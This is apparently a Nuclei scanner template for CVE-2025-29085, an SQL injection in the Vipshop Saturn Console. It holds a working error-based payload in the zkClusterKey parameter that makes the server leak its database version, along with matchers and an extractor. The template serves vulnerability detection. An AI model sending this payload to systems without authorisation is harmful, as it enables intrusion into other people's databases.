id: CVE-2025-29085

info:
  name: Vipshop Saturn Console <= 3.5.1 - SQL Injection via ClusterKey Component
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    SQL injection vulnerability in vipshop Saturn v.3.5.1 and before allows a remote attacker to execute arbitrary code via /console/dashboard/executorCount?zkClusterKey component.
  reference:
    - https://github.com/advisories/GHSA-49v8-p6mm-3pfj
    - https://gist.github.com/Cafe-Tea/bcef0d7a2bdb5ec8e0d69de852fdc900
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-29085
    cwe-id: CWE-89
    epss-score: 0.10396
    epss-percentile: 0.33866
  metadata:
    verified: true
  tags: cve,cve2025,vipshop,sqli

http:
  - raw:
      - |
        GET /console/dashboard/executorCount?zkClusterKey=1%27-extractvalue(1,concat(0x0a,version()))--%20- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "java.sql.SQLException: XPATH syntax error: '"

    extractors:
      - type: regex
        part: body
        internal: true
        name: version
        group: 1
        regex:
          - "XPATH syntax error: '\\\\n(.*?)'"

      - type: dsl
        dsl:
          - '"Database Version: " + version'
# digest: 4a0a0047304502201ff74885570dcd18a9a8ece51f403a06a2effa78a121ea92396f176106cafeb202210096d4b394f6a0a0399cf8c662c7161dfbe025dd44740e2ee09f5381124c112670:922c64590222798bb761d5b6d8e72950